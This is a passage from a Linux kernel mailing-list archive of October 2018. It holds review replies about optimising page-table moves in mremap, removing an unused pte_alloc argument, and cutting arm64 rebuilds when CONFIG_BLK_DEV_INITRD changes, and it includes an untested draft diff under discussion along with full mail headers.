> > > > > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> > > > >  		drop_rmap_locks(vma);
> > > > >  }
> > > > >  
> > > > > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > > > > +		  unsigned long new_addr, unsigned long old_end,
> > > > > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > > > > +{
> > > > > +	spinlock_t *old_ptl, *new_ptl;
> > > > > +	struct mm_struct *mm = vma->vm_mm;
> > > > > +
> > > > > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > > > +	    || old_end - old_addr < PMD_SIZE)
> > > > > +		return false;
> > > > > +
> > > > > +	/*
> > > > > +	 * The destination pmd shouldn't be established, free_pgtables()
> > > > > +	 * should have release it.
> > > > > +	 */
> > > > > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > > > > +		return false;
> > > > > +
> > > > > +	/*
> > > > > +	 * We don't have to worry about the ordering of src and dst
> > > > > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > > > > +	 */
> > > > > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > > > > +	if (old_ptl) {
> > > > 
> > > > How can it ever be false?
> 
> Kirill,
> It cannot, you are right. I'll remove the test.
> 
> By the way, there are new changes upstream by Linus which flush the TLB
> before releasing the ptlock instead of after. I'm guessing that patch came
> about because of reviews of this patch and someone spotted an issue in the
> existing code :)
> 
> Anyway the patch in concern is:
> eb66ae030829 ("mremap: properly flush TLB before releasing the page")
> 
> I need to rebase on top of that with appropriate modifications, but I worry
> that this patch will slow down performance since we have to flush at every
> PMD/PTE move before releasing the ptlock. Where as with my patch, the
> intention is to flush only at once in the end of move_page_tables. When I
> tried to flush TLB on every PMD move, it was quite slow on my arm64 device [2].
> 
> Further observation [1] is, it seems like the move_huge_pmds and move_ptes code
> is a bit sub optimal in the sense, we are acquiring and releasing the same
> ptlock for a bunch of PMDs if the said PMDs are on the same page-table page
> right? Instead we can do better by acquiring and release the ptlock less
> often.
> 
> I think this observation [1] and the frequent TLB flush issue [2] can be solved
> by acquiring the ptlock once for a bunch of PMDs, move them all, then flush
> the tlb and then release the ptlock, and then proceed to doing the same thing
> for the PMDs in the next page-table page. What do you think?

Yeah, that's viable optimization.

The tricky part is that one PMD page table can have PMD entires of
different types: THP, page table that you can move as whole and the one
that you cannot (for any reason).

If we cannot move the PMD entry as a whole and must go to PTE page table
we would need to drop PMD ptl and take PTE ptl (it might be the same lock
in some configuations).

Also we don't want to take PMD lock unless it's required.

I expect it to be not very trivial to get everything right. But take a
shot :)

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] treewide: remove unused address argument from
 pte_alloc functions (v2)
Date: Thu, 25 Oct 2018 13:47:03 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20181025104703.esl6wxyg2ihe4zoc@kshutemo-mobl1>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-2-joel@joelfernandes.org>
 <20181024083716.GN3109@worktop.c.hoisthospitality.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540464346 25219 195.159.176.226 (25 Oct 2018 10:45:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 10:45:46 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molna
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Oct 25 12:45:37 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFd8y-0006Nv-V6
	for gla-linux-snps-arc@m.gmane.org; Thu, 25 Oct 2018 12:45:37 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=yAb9ELWxbqMMsSw0dIjYDXN+cmh3Lcp3EblPfokbLyI=; b=ay5ZQDlW4ZNI2P
	39eYQlwWuLhhzIsvpSvnCyeZEDpzdYFrLXx7zSM68yrMch1pqwAcVwowKcT+HpGxVKKRrcGVBNYrd
	OxBPQy8A9qt4VDNuLSVhkuv9ZqMP9fkRJNRG3YKgxImzBLjQrr7WtKNxoNEKprYHWi6ulKkjgiIHP
	2lC5HO4H/8HPK6woiXjYfYi0I8tWBpzmmW0pJrEtDLlpY9nxezyYMop9AUBv8c+88Zm5aeIRL7Nsk
	bfXQo56f0u0iLjL7yvpEdhKRe299K4aLC757CphZ1Uc6Gi1EYgR4SBHd+h62Y/bt8NWGs7QOBHMJQ
	NYTvhGQlheWZI2tUasbQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFdAz-0005Yt-MZ; Thu, 25 Oct 2018 10:47:41 +0000
Original-Received: from mail-pl1-x641.google.com ([2607:f8b0:4864:20::641])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFdAd-0005JI-Oy
 for linux-snps-arc@lists.infradead.org; Thu, 25 Oct 2018 10:47:27 +0000
Original-Received: by mail-pl1-x641.google.com with SMTP id f8-v6so3667125plb.2
 for <linux-snps-arc@lists.infradead.org>; Thu, 25 Oct 2018 03:47:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=1R3A0ycONFuPhko1Zvw9OxjeXH19x+s87tjU9oKwfSw=;
 b=uRVyPXCyFw/vFJ9ptle4zloJMrol+XisBixqDteIGc2z2oG/f4Q8NfKA0B2gilh+Rr
 i+HTajUVnTgL+59CrAsNpIQzGw2bYTsOBSPmi9WVqroK585WsKPK4zT2IIvv2C6f23dJ
 F9grKSKsJ1P0XFYJA4GEnLgn3qb5En9KpzOMyEtJi1cliFP4s9dMdLlWGK2lC/PN9h34
 PzeoJEkp3NKRxc1VVfXDgfbweJjDPzw7KTQ0g9tXmzEx6xT3/YOHh00cgteTAphadXLE
 270H2CcukCX0575S0EAUXv7rBR5pp/bl8ZyBNwBfTku8pgy4LLUWuBo4TdiLZcu1G2r6
 ZGGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=1R3A0ycONFuPhko1Zvw9OxjeXH19x+s87tjU9oKwfSw=;
 b=S8YIcXWLgdsft5HAHPAJovPSoeTEssrKGT2ZpV+oneIoltkcMHn97o8yFQ0YOv98Zu
 aizCbTrfqhPpHy0IiJ0yeW2RkrbOQZpjQ8nJ0HtEUmd5dpkBIoMb+pj8iKSwovcUt6A9
 30DFT5eNnCWbYpDCJ6yTRuqOYH5X4PXGr/t87EYaUnYoLMd92b/66nwLuPjdgWLpH8Rn
 v2wvr0MNA8fpmdNEzXUR+i8WuNpHZF9oaiXXYh9A5XTFmB+B8Dz/TdlV4Gwk9+ZcTHz5
 3ES8OzESyDB15AadOQK/Nk2n+7GDnRFzfL1OfD1KfIa1woUh9zoko9scw2YrDRM2Tcio
 lC4A==
X-Gm-Message-State: AGRZ1gL7bQAxuxe1qz3z024nn9H60czdQR1Oipw1HISlS7c0tzGSY1yu
 Q0W2PvQNcjSk6gQ2pIS5q52mJA==
X-Google-Smtp-Source: AJdET5fRlG7zn7SaYzZpRZ5UT8n9qs5ABGZ7gGjpA2WzJPxYDI1NTaxmusE6kiTKMEVKRP5rq9c/Gw==
X-Received: by 2002:a17:902:8c86:: with SMTP id
 t6-v6mr1023260plo.55.1540464428285; 
 Thu, 25 Oct 2018 03:47:08 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([192.55.54.41])
 by smtp.gmail.com with ESMTPSA id z22-v6sm8085935pgv.24.2018.10.25.03.47.06
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 25 Oct 2018 03:47:07 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 722DF300225; Thu, 25 Oct 2018 13:47:03 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181024083716.GN3109@worktop.c.hoisthospitality.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181025_034719_884144_4BA47B49 
X-CRM114-Status: GOOD (  15.71  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:641 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4616 gmane.linux.ports.mips.general:67176 gmane.linux.ports.ia64:29436 gmane.linux.ports.sh.devel:57690 gmane.linux.kernel.mm:205997 gmane.linux.ports.riscv:1212 gmane.comp.emulators.kvm.arm.devel:19595 gmane.linux.ports.sparc:28660 gmane.linux.ports.hexagon:1956 gmane.linux.ports.parisc:29237 gmane.linux.kernel:2907509 gmane.linux.ports.alpha:5372 gmane.linux.ports.ppc64.devel:164891
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4616>

On Wed, Oct 24, 2018 at 10:37:16AM +0200, Peter Zijlstra wrote:
> On Fri, Oct 12, 2018 at 06:31:57PM -0700, Joel Fernandes (Google) wrote:
> > This series speeds up mremap(2) syscall by copying page tables at the
> > PMD level even for non-THP systems. There is concern that the extra
> > 'address' argument that mremap passes to pte_alloc may do something
> > subtle architecture related in the future that may make the scheme not
> > work.  Also we find that there is no point in passing the 'address' to
> > pte_alloc since its unused. So this patch therefore removes this
> > argument tree-wide resulting in a nice negative diff as well. Also
> > ensuring along the way that the enabled architectures do not do anything
> > funky with 'address' argument that goes unnoticed by the optimization.
> 
> Did you happen to look at the history of where that address argument
> came from? -- just being curious here. ISTR something vague about
> architectures having different paging structure for different memory
> ranges.

I see some archicetures (i.e. sparc and, I believe power) used the address
for coloring. It's not needed anymore. Page allocator and SL?B are good
enough now.

See 3c936465249f ("[SPARC64]: Kill pgtable quicklists and use SLAB.")

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Herring <robh@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing CONFIG_BLK_DEV_INITRD
Date: Thu, 25 Oct 2018 08:15:15 -0500
Lines: 140
Approved: news@gmane.org
Message-ID: <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com> <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1540473211 1110 195.159.176.226 (25 Oct 2018 13:13:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 13:13:31 +0000 (UTC)
Cc: Florian Fainelli <f.fainelli@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips@linux-mips.org>,
        nios2-dev@lists.
To: rppt@linux.ibm.com, Ard Biesheuvel <ard.biesheuvel@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 25 15:13:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFfRy-0008Rl-HC
	for glk-linux-kernel-4@m.gmane.org; Thu, 25 Oct 2018 15:13:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727534AbeJYVsM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 17:48:12 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:55122 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727365AbeJYVsL (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 17:48:11 -0400
Original-Received: from mail-qt1-f173.google.com (mail-qt1-f173.google.com [209.85.160.173])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 9613320873;
        Thu, 25 Oct 2018 13:15:27 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
        s=default; t=1540473327;
        bh=bZCaLGyy/teaz6OaWjiI6j372VpbdHwQ/+uDi/xM0NA=;
        h=References:In-Reply-To:From:Date:Subject:To:Cc:From;
        b=rmQOCjMP4WlmSu7q/6GKpat6ZDwriH0k0T7uU9LpThvPbvqSZMG86LEvpMMtzWve5
         55xfq0E+MRosHuJmT2AJk2rXXZyP6u/UFRLuY46PSLFi1yVaO2B3EDnBnmblyLBFjk
         L9ZwTnE9FwMZZn/fKRAXLHVQrQhOMORTskyDX1WU=
Original-Received: by mail-qt1-f173.google.com with SMTP id z9-v6so9724522qto.7;
        Thu, 25 Oct 2018 06:15:27 -0700 (PDT)
X-Gm-Message-State: AGRZ1gI5izBn0lsv6gynRuqtpeluDP61lbpW422UHKw1Uqvmr89BqNDF
        hDUYb03ZnF1d9moWjYNerPzoHeuJVcED/BxetQ==
X-Google-Smtp-Source: AJdET5doJEr2mxMCRhycLo9mGNj457pXXR2JyagROZiVZ07IyUKOxF1P1ly2I83sHe0Z+PkQjBByf4TUchTE15SVbu4=
X-Received: by 2002:a0c:c3c8:: with SMTP id p8mr1490299qvi.90.1540473326445;
 Thu, 25 Oct 2018 06:15:26 -0700 (PDT)
In-Reply-To: <20181025093833.GA23607@rapoport-lnx>
X-Gmail-Original-Message-ID: <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907630 gmane.linux.ports.alpha:5373 gmane.linux.kernel.arc:4617 gmane.linux.ports.arm.kernel:681414 gmane.linux.ports.hexagon:1957 gmane.linux.ports.ia64:29437 gmane.linux.ports.mips.general:67177 gmane.linux.ports.parisc:29238 gmane.linux.ports.ppc64.devel:164898 gmane.linux.ports.riscv:1213 gmane.linux.ports.sh.devel:57691 gmane.linux.ports.sparc:28662 gmane.linux.drivers.devicetree:294378 gmane.linux.kernel.cross-arch:48065
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907630>

+Ard

On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
>
> On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> > On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> > >
> > > Hi all,
> > >
> > > While investigating why ARM64 required a ton of objects to be rebuilt
> > > when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> > > because we define __early_init_dt_declare_initrd() differently and we do
> > > that in arch/arm64/include/asm/memory.h which gets included by a fair
> > > amount of other header files, and translation units as well.
> >
> > I scratch my head sometimes as to why some config options rebuild so
> > much stuff. One down, ? to go. :)
> >
> > > Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> > > systems that generate two kernels: one with the initramfs and one
> > > without. buildroot is one of these build systems, OpenWrt is also
> > > another one that does this.
> > >
> > > This patch series proposes adding an empty initrd.h to satisfy the need
> > > for drivers/of/fdt.c to unconditionally include that file, and moves the
> > > custom __early_init_dt_declare_initrd() definition away from
> > > asm/memory.h
> > >
> > > This cuts the number of objects rebuilds from 1920 down to 26, so a
> > > factor 73 approximately.
> > >
> > > Apologies for the long CC list, please let me know how you would go
> > > about merging that and if another approach would be preferable, e.g:
> > > introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> > > something like that.
> >
> > There may be a better way as of 4.20 because bootmem is now gone and
> > only memblock is used. This should unify what each arch needs to do
> > with initrd early. We need the physical address early for memblock
> > reserving. Then later on we need the virtual address to access the
> > initrd. Perhaps we should just change initrd_start and initrd_end to
> > physical addresses (or add 2 new variables would be less invasive and
> > allow for different translation than __va()). The sanity checks and
> > memblock reserve could also perhaps be moved to a common location.
> >
> > Alternatively, given arm64 is the only oddball, I'd be fine with an
> > "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> > __early_init_dt_declare_initrd as long as we have a path to removing
> > it like the above option.
>
> I think arm64 does not have to redefine __early_init_dt_declare_initrd().
> Something like this might be just all we need (completely untested,
> probably it won't even compile):
>
> diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
> index 9d9582c..e9ca238 100644
> --- a/arch/arm64/mm/init.c
> +++ b/arch/arm64/mm/init.c
> @@ -62,6 +62,9 @@ s64 memstart_addr __ro_after_init = -1;
>  phys_addr_t arm64_dma_phys_limit __ro_after_init;
>
>  #ifdef CONFIG_BLK_DEV_INITRD
> +
> +static phys_addr_t initrd_start_phys, initrd_end_phys;
> +
>  static int __init early_initrd(char *p)
>  {
>         unsigned long start, size;
> @@ -71,8 +74,8 @@ static int __init early_initrd(char *p)
>         if (*endp == ',') {
>                 size = memparse(endp + 1, NULL);
>
> -               initrd_start = start;
> -               initrd_end = start + size;
> +               initrd_start_phys = start;
> +               initrd_end_phys = end;
>         }
>         return 0;
>  }
> @@ -407,14 +410,27 @@ void __init arm64_memblock_init(void)
>                 memblock_add(__pa_symbol(_text), (u64)(_end - _text));
>         }
>
> -       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) && initrd_start) {
> +       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
> +           (initrd_start || initrd_start_phys)) {
> +               /*
> +                * FIXME: ensure proper precendence between
> +                * early_initrd and DT when both are present

Command line takes precedence, so just reverse the order.

> +                */
> +               if (initrd_start) {
> +                       initrd_start_phys = __phys_to_virt(initrd_start);
> +                       initrd_end_phys = __phys_to_virt(initrd_end);

AIUI, the original issue was doing the P2V translation was happening
too early and the VA could be wrong if the linear range is adjusted.
So I don't think this would work.

I suppose you could convert the VA back to a PA before any adjustments
and then back to a VA again after. But that's kind of hacky. 2 wrongs
making a right.

> +               } else if (initrd_start_phys) {
> +                       initrd_start = __va(initrd_start_phys);
> +                       initrd_end = __va(initrd_start_phys);
> +               }
> +
>                 /*
>                  * Add back the memory we just removed if it results in the
>                  * initrd to become inaccessible via the linear mapping.
>                  * Otherwise, this is a no-op
>                  */
> -               u64 base = initrd_start & PAGE_MASK;
> -               u64 size = PAGE_ALIGN(initrd_end) - base;
> +               u64 base = initrd_start_phys & PAGE_MASK;
> +               u64 size = PAGE_ALIGN(initrd_end_phys) - base;
>
>                 /*
>                  * We can only add back the initrd memory if we don't end up
> @@ -458,7 +474,7 @@ void __init arm64_memblock_init(void)
>          * pagetables with memblock.
>          */
>         memblock_reserve(__pa_symbol(_text), _end - _text);
> -#ifdef CONFIG_BLK_DEV_INITRD
> +#if 0
>         if (initrd_start) {
>                 memblock_reserve(initrd_start, initrd_end - initrd_start);
>
>
> > Rob
> >
>
> --
> Sincerely yours,
> Mike.
>


From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.ibm.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Thu, 25 Oct 2018 18:29:36 +0100
Lines: 152
Approved: news@gmane.org
Message-ID: <20181025172935.GA27364@rapoport-lnx>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
 <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540488497 4260 195.159.176.226 (25 Oct 2018 17:28:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 17:28:17 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Linux-MIPS <linux-mips@linux-mips.org>, linux-ia64@vger.kernel.org,
 SH-Linux <linux-sh@vger.kernel.org>, Catalin Marinas <catalin.marinas@arm.com>,
 Will Deacon <will.deacon@arm.com>, devicetree@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 "open list:GENERIC INCLUDE/ASM HEADER FILES" <linux-arch@vger.kernel.org>,
 linux-s390@vger.kernel.org, Florian Fainelli <f.fainelli@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
 arcml <linux-snps-arc@lists.infradead.org>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 linux-xtensa@linux-xtensa.org, Arnd Bergmann <arnd@arndb.de>,
 Marc Zyngier <marc.zyngier@arm.com>, linux-um@lists.infradead.org,
 linux-m68k@lists.linux-m68k.org, Openrisc <openrisc@lists.librecores.org>,
 "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE"
 <linux-arm-kernel@lists
To: Rob Herring <robh@kernel.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Oct 25 19:28:11 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1gFjQY-0000wc-0P
	for linux-arm-kernel@m.gmane.org; Thu, 25 Oct 2018 19:28:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:Message-Id:In-Reply-To:MIME-Version:
	References:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=zGnKVoUh/7ViZduFHM1ipyYFf723XCkqIP7iu6quvUA=; b=KSkgXCJhXaByIa
	o3hrIU2Do0F5HyFP+RitJsexAHC1pHOqS+UEa2t/QgRY0mGQgwIWeR8r0yU5T0eUB00JqeUI9Ul0A
	xAWAJfDbUoL2tTWJizgT3usmmHedRg2MacpsZRiBorvrkO9JCqkUm0+TlfCUBjBs9lyiFHIsJzgZm
	cJfnowfh8JfN7Q3+y+PgoV5geyv+g6gljFqkhA0vpYsQhQdCLTJeAI2EbdijWoLISHymKlTAmQwZU
	JacR/F5J2HA7qEPdY+LOm0a5UFsY6NXpj0bUEyoeAglUlV2Mnc6gFhOBdets/PMuZHJ9baNlvBpJo
	jIVmd2EVA978lONe1MIw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
